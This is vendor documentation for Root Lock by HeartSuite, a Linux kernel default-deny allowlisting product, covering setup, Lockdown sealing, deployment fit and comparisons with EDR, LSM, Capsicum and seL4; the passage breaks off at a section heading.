Root Lock by HeartSuite Documentation

• 1: Introduction and Overview
• 1.1: Root Lock by HeartSuite Overview
• 1.2: From install to Lockdown
• 1.3: What this kernel needs — and what differs by stream
• 1.4: Deployment Scenarios
• 1.5: What Root Lock replaces — and what it does not
• 1.6: Containers, microVMs, and the sealed host
• 1.7: Security as Economics
• 1.8: Where Linux security tools actually sit
• 1.9: When Root Isn't Enough
• 2: Getting Started
• 2.1: Before You Begin
• 3: Obtaining and Installing Root Lock by HeartSuite
• 3.1: Obtaining Root Lock by HeartSuite
• 3.2: Installing Root Lock by HeartSuite – Part 1
• 3.3: Installing Root Lock by HeartSuite – Part 2
• 4: Confirm the Root Lock kernel is actually running
• 5: Approve what each program may do
• 5.1: Review queues: programs, files, network
• 5.2: Allowlist many hosts without the Dashboard
• 6: Python should not inherit every script's rights
• 6.1: One interpreter, many script allowlists
• 6.2: Turn on per-script allowlisting
• 6.3: Which script launchers ship in the box
• 7: Each program gets its own internet destinations
• 8: Alerts when Lockdown blocks something
• 8.1: Pipe Lockdown blocks into the SIEM you already run
• 8.2: Drive the allowlist from your own tooling
• 9: Lockdown seals the allowlist, including from root
• 10: A subscription is what turns on Lockdown
• 11: Subscription pricing
• 12: Every maintenance window is an attack window
• 12.1: Keep a gate up while you change the system
• 12.2: Backups that ransomware cannot delete
• 12.3: When 255 allowlist slots is not enough
• 12.4: Narrow kmod's file grants before Lockdown
• 12.5: Apply an update without dropping Lockdown blindly
• 12.6: Defer the scanner findings Lockdown already stops
• 13: Blocked, wrong kernel, or silent fail?
• 14: Does this replace EDR? And other FAQs
• 15: Kernel Security Transparency
• 15.1: Compiled-in CVEs — what each score means
• 15.2: Not Affected — disabled features
• 16: Kernel hardening
• 16.1: Kernel hardening in one comparison table
• 16.2: A custom kernel in a regulated fleet
• 16.3: Which distros boot the Root Lock kernel
• 16.4: How long each Root Lock kernel is maintained
• 16.5: Your scanner flags CVEs this kernel does not have
• 16.6: How to verify the kernel you downloaded
• 16.7: Which kernel evidence is published today
• 16.8: Hardening matrix for kernel 6.18.9
• 16.9: Hardening scores: 5.19.6 against the field
• 16.10: What a red team should test on this kernel
• 16.11: SELinux, AppArmor, TOMOYO — a different job
• 16.12: Kernel hardening in plain language
• 17: From 2016 research to kernel default-deny
• 18: Tools shipped with Root Lock
• 19: Compliance questions, answered on one page
• 20: Compliance Reference: NIST CSF & ISO 27001
• 21: SOC 2 TSC mapped to Root Lock controls

1 - Introduction and Overview

Root Lock by HeartSuite | Humans in Command

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including as root.

In Lockdown, anything not on the allowlist is blocked before it can act. By design, remote root has no intended path to change the sealed allowlist while the machine is running. Unsealing means booting the maintenance kernel from a physical or serial console. sshd is stopped when Lockdown seals, unless you chose to leave it running before the seal, and SSH cannot lift the seal. After the unseal, SSH is how you work in Setup Mode. Lockdown covers activation. Circumvention and recovery covers residual risk.

In this section

• Root Lock Overview — Core features, how it protects against malware, and the setup checklist.
• The Setup Journey — Initial setup, then the Dashboard checklist from installation to Lockdown, Cloud Path and Local Path, and how the Dashboard guides you.
• System Requirements — Compatible systems, kernel versions, and prerequisites.
• Deployment Scenarios — Environments and workloads where Root Lock fits best, plus notes on incompatible stacks.
• How Root Lock Compares — What Root Lock replaces, what it complements, and how it can be circumvented.
• Security as Economics — Which scanner findings can wait for the standard change window, and what that does to attacker cost.

For detailed installation steps, see Installation. Getting Started covers Cloud Path and Local Path. On a single host they converge at the Dashboard after initial setup. Both paths install one machine at a time; to apply allowlist policy across many hosts from Ansible, Terraform, or GitOps, see Central Policy.

1.1 - Root Lock by HeartSuite Overview

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including as root.

Your SSH server and your web server both run as root. They still get different permissions because they are different programs.

Kernel-level enforcement

Under Lockdown, no program can execute without an allowlist entry. That entry also controls which files the program can read or write, and which network connections it can make.

The Dashboard is the interface. After unattended initial setup, it shows the checklist and what is waiting for review.

After initial setup

Initial setup runs unattended on first boot of the Root Lock kernel, and again after a kernel update if new startup programs appear. The Dashboard appears when that chain is complete.

Features

1. Program Allowlist

An allowlist entry says whether a program may execute, which files it may read or write, and which network connections it may make. The kernel requires that entry before the program is permitted to execute.

The Dashboard presents three review queues:

• Programs queue ([p]) — programs that executed during Setup Mode
• File Access queue ([f]) — programs that read or wrote files during Setup Mode
• Internet Access queue ([i]) — programs that made outbound connections during Setup Mode

File access is approved as read or write. Write includes read. See Allowlisting Basics for how the queues group volume.

2. Setup Mode and Lockdown

• Setup Mode: The kernel logs program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist.
• Lockdown: The kernel enforces the allowlist. Programs without an entry, or that exceed their permissions, are blocked.

Activating Lockdown requires empty review queues, configured alerts, and an active subscription. Type YES (case-sensitive) to confirm.

YES starts a probe reboot, and a second reboot applies the seal. From then on the allowlist is sealed while the machine is running, and root cannot change it either; Maintenance ([m]) is the path to make changes. See Lockdown.

3. File backup and versioning

Root Lock backs up files in designated directories on every write. The version manager can restore a version after encryption, deletion, or modification.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock’s backups are protected by the kernel rather than by file permissions: under Lockdown, the kernel blocks write and delete to the backup directory (/.hs/b/) for every program except Root Lock backup tooling, including root.

When an approved program is compromised, recovery starts from the write before the damage, not the last scheduled snapshot.

4. Secure Script Launchers

For Python, PHP, and Perl, Secure Script Launchers identify the script being executed so each script gets its own allowlist entry, the same as a compiled program.

Two setup paths

Cloud Path and Local Path install one machine at a time, and Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

Is Root Lock right for you?

Root Lock fits production servers, closed appliances, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host. Shared-kernel containers (Docker, containerd, Kubernetes, CRI-O, Podman) and rootless containers are not a fit by design: under Lockdown, Root Lock refuses the new mounts a runtime makes. A shared-kernel container guest is not a fit by design, because Root Lock must boot its own kernel. Local eBPF tooling is not a fit by design: the BPF syscall is off, so there is no eBPF program to load. See Deployment Scenarios.

If you already run Falco, AppArmor, gVisor, a Linux EDR agent, a SIEM, NDR, or a scanner, see How Root Lock Compares and Security as economics.

Launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Getting Started covers the rest.

1.2 - From install to Lockdown

Overview: Initial setup adds startup and shutdown programs to the allowlist automatically. Root Lock by HeartSuite then logs in Setup Mode so you can review and approve remaining programs, file access, and network connections — including as root — before Lockdown blocks everything else.

Why Setup Mode is necessary

Lockdown blocks any program that is not on the allowlist, including as root. Initial setup already adds startup and shutdown programs so the host can boot. Setup Mode is how you add the rest of the workload.

In Setup Mode, Root Lock logs activity without blocking it. You review that activity through the Dashboard queues, approve programs and their access, and build an allowlist that matches the workload. Then you activate Lockdown.

Setup Mode is the default after installation. Automated backup also runs in Setup Mode, so you can restore protected directories before Lockdown is active.

Initial setup, then the Dashboard checklist

Initial setup runs unattended after you boot the Root Lock kernel. It reads startup and shutdown activity, adds those programs to the allowlist, and reboots as needed.

Cloud images complete initial setup during image preparation. On both paths, the Dashboard appears once initial setup is complete.

On the Dashboard, the Suggested Next Step can open Launchers ([s]) after Programs if interpreters are pending, even though that row sits at 4.

Cloud Path and Local Path

Getting Started covers Cloud Path and Local Path.

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

After the Dashboard appears

Initial setup already added the programs from boot and shutdown. Setup Mode logs every program that executes, every file it reads or writes, and every outbound connection.

Start the services you will keep. Compilers, probes, and extra shells that execute now become items in the review queues, and any you approve can run under Lockdown. Skip programs that should not execute in production, because they do not belong on the allowlist.

After Lockdown, new packages go through Protecting During Maintenance. Allowlisting Basics covers approve and skip.

From installation to Lockdown

The following diagram shows installation to Lockdown on one host, including the maintenance cycle.

graph TD
    A[Install Root Lock] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms setup complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Programs queue — approve programs"]
    F --> G["Script Launchers — if applicable"]
    G --> H["File Access queue — approve file access"]
    H --> I["Internet Access queue — approve connections"]
    I --> J["Configure alerts"]
    J --> K["Activate Lockdown"]
    K --> L["YES — probe reboot, then seal reboot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance [m] — console unseal, then SSH in Setup"]
    N --> K
    M -- No --> O[System secured]

    style A fill:#eee,stroke:#888
    style B fill:#eee,stroke:#888
    style C fill:#eee,stroke:#888
    style D fill:#eee,stroke:#888
    style E fill:#eee,stroke:#888
    style F fill:#eee,stroke:#888
    style G fill:#eee,stroke:#888
    style H fill:#eee,stroke:#888
    style I fill:#eee,stroke:#888
    style J fill:#eee,stroke:#888
    style M fill:#eee,stroke:#888
    style N fill:#eee,stroke:#888
    style K fill:#d4f4dd,stroke:#2a7a40
    style L fill:#d4f4dd,stroke:#2a7a40
    style O fill:#d4f4dd,stroke:#2a7a40

Activating Lockdown

Activating Lockdown shows an allowlist summary and a precondition checklist. Type YES (case-sensitive) to confirm. That starts a probe reboot; a second reboot applies the seal. See Lockdown for the activation flow.

After Lockdown, the startup script re-engages the seal on every Root Lock kernel boot.

Maintenance in Lockdown

To unseal a locked allowlist, open Maintenance ([m]) from the Dashboard. After the seal is applied, reboot from a physical or serial console and select Maintenance: unseal and return to Root Lock. SSH is not enough for that GRUB pick. The seal lifts automatically and you return to Setup Mode, then log in over SSH to install packages, edit files, and review new activity. Lock down again when the change is done.

See Protecting During Maintenance.

1.3 - What this kernel needs — and what differs by stream

Overview: Confirm the host is x86 Linux on a distribution from the current lab matrix before you install. The Local Path command is the same on bare metal and on a full virtual machine. Root Lock by HeartSuite ships a 6.18 kernel for new images (uname -r is 6.18.9-hs on the current release). 5.19 is the legacy line for lab re-proof on Debian 11 and Ubuntu 20.04. Those hosts take the k5 installer. Each line has its own configuration.

See the Distro Compatibility Matrix for tiers, versions, and kernel line per row. That page is the source for which bases are Supported, In lab, Experimental, or Legacy.

Supported platforms

Do not use the April 2026 v1.6.4 list (Fedora 41, Rocky 9.7, Alpine 3.21 as “validated,” Ubuntu 22.04 omitted). That table is retired.

Kernel

New Debian 12/13 and Ubuntu 24.04/26.04 installs boot the 6.18 Root Lock kernel. Debian 11 and Ubuntu 20.04 take the k5 installer and the 5.19 kernel for lab re-proof. The 6.18 bundle is for the current line, and the installer refuses it on these two hosts. Ubuntu 22.04 is outside this installer (Python 3.10). The Dashboard verifies kernel activation after initial setup and provides orientation on every boot.

Software compatibility notes

The BPF syscall is off by design on the 6.18.9-hs kernel, so eBPF tools cannot attach.

The Root Lock kernel is installed alongside your existing kernel via GRUB — it does not replace it. In Setup Mode, programs that would be blocked under Lockdown appear in the Dashboard review queues, so you see them before you lock down. Software not listed below runs on the Root Lock kernel like any other program: under Lockdown it needs an allowlist entry.

Bare metal, virtual machines, and nested VMs

The Local Path install command is the same on a physical machine and on a full virtual machine. Cloud Path is a pre-built image of that same install.

What differs is the machine you run it on: firmware and real devices on metal; virtio and a hypervisor serial console on a VM.

Root Lock must boot its own kernel by design, so it runs on bare metal or a full VM. Shared-kernel container guests (OpenVZ, LXC, Docker/Podman sharing the provider kernel, systemd-nspawn) belong on a separate host. A nested guest needs /dev/kvm on the outer machine; if /dev/kvm is missing, install Root Lock on the outer machine itself.

See Where Root Lock is not a fit.

When the host matches these requirements, continue to Getting Started.

1.4 - Deployment Scenarios

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including malware running as root. Under Lockdown there is no permissive mode, nothing to unload, and the allowlist cannot be edited. An attacker who already has remote root cannot turn it off.

In Setup Mode, Root Lock logs activity so you can review and approve it through the Dashboard queues. Lockdown then enforces what you approved.

Root Lock operates standalone — no SaaS policy server, no agent-to-console channel. The Root Lock kernel sits beside your existing kernel in GRUB; you can boot back to the existing kernel. The scenarios below are where that model fits, then where it is not a fit by design.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape you review and approve in the Dashboard queues after a few days of Setup Mode logging, then you activate Lockdown.

On a homogeneous fleet of these servers, install each host through Cloud Path or Local Path. Harvest a baseline from one reference host, then apply it with Ansible — see Central Policy.

Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown.

CVE-2026-31431 — privilege escalation via AF_ALG — shows what Lockdown means on a production server. An attacker who exploits it ends up with root. On a Root Lock kernel AF_ALG is not compiled in, so that path is gone.

Even if it had been, Lockdown constrains the root shell the exploit produces: the kernel refuses to clear immutable flags, blocks mount operations, and blocks writes to the audit log, so a program added from that shell is gone after reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed.

An attacker’s first move is usually to introduce a new program. In Lockdown, Root Lock blocks that move before it starts. By design, remote root cannot add to the sealed allowlist while the system runs.

File Backup is the recovery layer. The kernel restricts the backup directory to Root Lock’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. If an approved program is compromised and corrupts a file, previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. In Lockdown, only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, remote root cannot disable enforcement the way an agent can be killed. sshd is stopped when Lockdown seals, unless you chose to leave it running before the seal, and SSH cannot lift the seal. Unsealing takes reaching the boot path: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory. After unseal, SSH is how you work in Setup Mode. See Circumvention and recovery.

On VMs the hypervisor is the outer protective layer; Root Lock protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward.

For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every Root Lock-protected server they manage: under Lockdown, no administrator credential, root session, or SSH session can unseal or rewrite the security policy. sshd is stopped when Lockdown seals, unless you chose to leave it running before the seal. After unseal, SSH is how you work in Setup Mode. For the competitive comparison on this point, see How Root Lock Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk.

CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — shows what that means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program. In the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The program check does not stop that attack, because the pipeline tools already have allowlist entries.

What contains it is the network allowlist: under Lockdown, a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

• Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
• Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to Root Lock’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all.

Root Lock operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with.

An offline Root Lock system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell.

Run Root Lock as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image.

Each task VM boots from that image with the allowlist already on the disk. The image is not sealed. You run the seal on that machine, and the seal takes effect on the next boot. The allowlist holds for the life of the task. Then the VM is gone.

An attacker who already has root inside the VM cannot turn this off. Its enforcement is not an LSM policy that can be unloaded or set permissive, and there is no userspace shim to detach and no agent to kill. gVisor filters syscalls in userspace to protect the host; Root Lock, as the guest kernel, protects the workload.

Shared-kernel containers

Docker, containerd, Kubernetes, CRI-O, and Podman are not a supported workload on a Root Lock host, by design. Under Lockdown, Root Lock refuses the new mounts a runtime makes each time it starts or reschedules a container. The installer can notice that one of those engines is present, but it records the host as a standard host and does not adapt Setup Mode for container images.

Build and run OCI images on another host. Root Lock protects the fixed-workload machines around that runtime. For a task that should sit in its own machine, install Root Lock as the guest kernel in a virtual machine.

Where Root Lock is not a fit

A few workloads are incompatible with the Root Lock kernel as shipped — not a fit by design.

• Shared-kernel container guests (OpenVZ, LXC, Docker/Podman guests on a provider kernel, systemd-nspawn) — Root Lock must boot its own kernel by design. Full VMs under KVM or cloud hypervisors are supported; Root Lock runs as a guest kernel inside them.
• Shared-kernel container engines on this host (Docker, containerd, CRI-O, Kubernetes, Podman) — not a fit by design, including a long-lived or fixed set of containers. Under Lockdown, Root Lock refuses the new mounts a runtime makes each time it starts or reschedules a container. Build and run those images on another host. See Shared-kernel containers above.
• Hosts where eBPF-based tooling must run locally — not a fit by design. Falco, Cilium, Tetragon, bpftrace, and similar tools need the BPF syscall, and Root Lock does not enforce through eBPF. On 6.18.9-hs the BPF syscall is off, so there is no eBPF program to load. These tools can still observe the Root Lock host from adjacent infrastructure via network taps or log forwarding. For on-host forensics, use strace and /proc inspection.
• Hypervisor hosts running virtual machines — Root Lock protects workloads running inside a kernel. A hypervisor host grants trusted access to guest workloads it does not control — the inverse model. KVM host mode is not a supported configuration. Root Lock runs as a guest on KVM, cloud hypervisors, and other platforms.
• A VM nested inside another VM without hardware virtualization — a VPS or cloud guest is already a virtual machine. Install Root Lock there, or on a host that exposes /dev/kvm. Nesting a second guest without hardware virtualization causes the installer to stop at the start. See Bare metal, virtual machines, and nested VMs.
• Rootless containers — not a fit by design. Under Lockdown, Root Lock refuses the new mounts a runtime makes. Run them on a separate host.
• Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated tools built for them. Root Lock is built for one thing: Linux systems where the security policy must survive a compromised root account.

If the host is a fit, continue to Getting Started.

1.5 - What Root Lock replaces — and what it does not

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make, including for programs running as root. Under Lockdown there is no permissive mode, nothing to unload, and the allowlist cannot be edited. An attacker who already has remote root cannot turn it off.

Standard operating systems grant those rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs, designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Until now.

Kernel architecture

graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux: runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock: compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nno HS agent to kill"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker who already has remote root can disable. Root Lock compiles enforcement into the kernel binary itself. The BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

For a feature the booted kernel leaves unset, the vulnerable code is absent. On 6.18.9-hs that includes the BPF syscall. See Kernel Security Transparency.

Most runtime security tools sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock sits at Layer 2: enforcement is compiled into the kernel binary itself, not a program installed in userspace.

An attacker who already has remote root can turn those tools off by killing the program, unloading the module, or setting the LSM policy permissive. At Layer 2 there is nothing to turn off, because enforcement is part of the running kernel.

Unsealing the allowlist takes physical presence or the cloud serial console. sshd is stopped when Lockdown seals, unless you chose to leave it running before the seal. SSH cannot unseal. That leaves two questions for a Root Lock host: whether Setup Mode approved too much, and whether someone at the console can unseal it.

See Circumvention and recovery. For the full taxonomy with all tools mapped by layer, see Layer Analysis.

Security as economics

For which scanner findings can wait for the standard change window, and for attacker cost, defender operational cost, and ROI against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock replaces

The comparison below is scoped to preventive enforcement. Telemetry, behavioural analytics, and incident response are in What Root Lock complements. Each tool has a known bypass path. See Circumvention and recovery for detail.

The common pattern. Every tool in this table can be disabled by an attacker who already has remote root. They can kill the security agent, unload the BPF program, or set the LSM permissive.

Root Lock removes that possibility: enforcement is compiled into the kernel and the allowlist is sealed under Lockdown. An attacker who already has remote root cannot turn Lockdown off or edit the sealed allowlist. See Circumvention and recovery.

Industry pattern (impair defenses). In many ransomware and post-compromise campaigns, attackers disable or impair security tools early — stopping the EDR agent, unloading sensors, or weakening host policy — before they encrypt files or move to the next machine.

Root Lock is designed so it has no agent process, no BPF program, and no unloadable module to target.

Related designs. Sealing the running policy against root is not unique to Root Lock. Android keeps SELinux policy on a verified, read-only image. FreeBSD can raise securelevel so schg files stay immutable until reboot. Root Lock’s version of that idea is Lockdown: the allowlist is sealed, the kernel refuses the write, and unsealing takes a physical or serial console.

Linux kernel lockdown LSM. Linux ships a separate lockdown LSM (kernel_lockdown(7)). lockdown=integrity refuses changes to the running kernel image, including unsigned modules, unsigned kexec, and /dev/mem. lockdown=confidentiality also refuses kernel-memory reads. Root Lock’s Lockdown seals the allowlist with chattr +i. Under that seal every execution, file access, and outbound connection needs a grant, including when the caller is root, and the grant list stays sealed until Maintenance unseal from a physical or serial console. The Linux LSM stops at the kernel image, so root can still read another program’s files and install a userspace program.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each tool above retains strengths Root Lock does not replicate.

eBPF observers (Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace) ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters, where on-host eBPF tooling is not a fit by design — those tools remain the right answer. They can observe a Root Lock host from adjacent infrastructure via network taps or log forwarding.

LSM policy on a stock kernel (AppArmor, SELinux, SMACK, Landlock) offers policy capabilities Root Lock does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive. Root Lock’s value is the sealed boundary (chattr +i immutability plus a running kernel that refuses runtime changes), not richer policy syntax.

On 6.18.9-hs, AppArmor is present in the live LSM list. Do not assume profiles disappeared at the first Root Lock boot. A lab of the same root-shell path on Rocky SELinux versus Lockdown is in What Lockdown refused after a root shell.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model: host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock addresses workloads protected from compromised root inside the kernel they run on. Root Lock is the guest kernel in a VM the customer provides.

Linux EDR (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR) provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock provides none of those.

The honest position is prevention versus detection; most regulated environments run both.

When attackers use legitimate tools rather than new malware (the pattern in most modern breaches), EDR detects the suspicious behavior. Root Lock constrains it differently: even a legitimate tool can only reach the files and network destinations its allowlist entry approves.

EDR agents that deploy via eBPF cannot attach on-host. The BPF syscall is not present on the Root Lock kernel. Under Lockdown, agents that install as kernel modules are blocked without an allowlist entry. That is the same gate that applies to every other program.

Both syslog streams (per-decision enforcement events and aggregated alerts) reach the EDR ingestion pipeline via a single rsyslog forwarding rule, with no external tooling required. Detection and response coverage continues through the log pipeline without an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace (open() with an absolute path, kill() with a PID) returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary.

Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application, or a wrapper around it, must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter.

Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened (DNS lookups, /etc/passwd reads) via a dedicated delegation channel.

For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect, or not protecting it.

How Root Lock reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path.

Network hooks in socket.c check outbound routable connections (both connect() calls and sendto() calls with an explicit destination address) against the program’s IP allowlist. Local IPC over UNIX domain sockets and NETLINK is exempt by design.

Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock observes what they do and enforces the allowlist against it. Root Lock makes this choice (hook-at-VFS rather than cap_enter-before-first-access) precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow.

For any environment running software it did not write, which is most production infrastructure, Root Lock’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Capsicum’s policy lives in the application. After it ships, there is no policy file to edit, so Capsicum never had to protect one from root.

Root Lock’s policy is an allowlist file, which is what an attacker who already has root would want to change, so Lockdown seals it: the files are immutable, and the kernel refuses the write.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. Root Lock targets Linux 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock’s approach (maintain the database, get transparency and the full Setup → Lockdown lifecycle) is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms.

Root Lock and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted — and diverge on almost everything else.

How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object (memory region, communication channel, thread control block) is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more.

To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified (roughly 10,000 lines of C). That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation (SSH, package management, web server, any application) must be rebuilt as a userspace component with explicit token grants.

Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock enforces the same principle on existing software. Root Lock installs as a modified Linux kernel on a host already running standard software. Root Lock controls whether each program can execute, which files it can read or write, and which network connections it can make. The existing binaries run without modification.

Root Lock observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow.

Root Lock’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy file. Authority is the token set. There is nothing to edit after the system is built.

Root Lock’s policy is an allowlist file, which is what an attacker who already has root would want to change, so Lockdown seals it: the files are immutable, and the kernel refuses the write. seL4 makes authority impossible to forge; Root Lock seals the allowlist after Lockdown engages (see Circumvention and recovery).

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock targets Linux 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock is the option that ships.

Object-capability operating systems

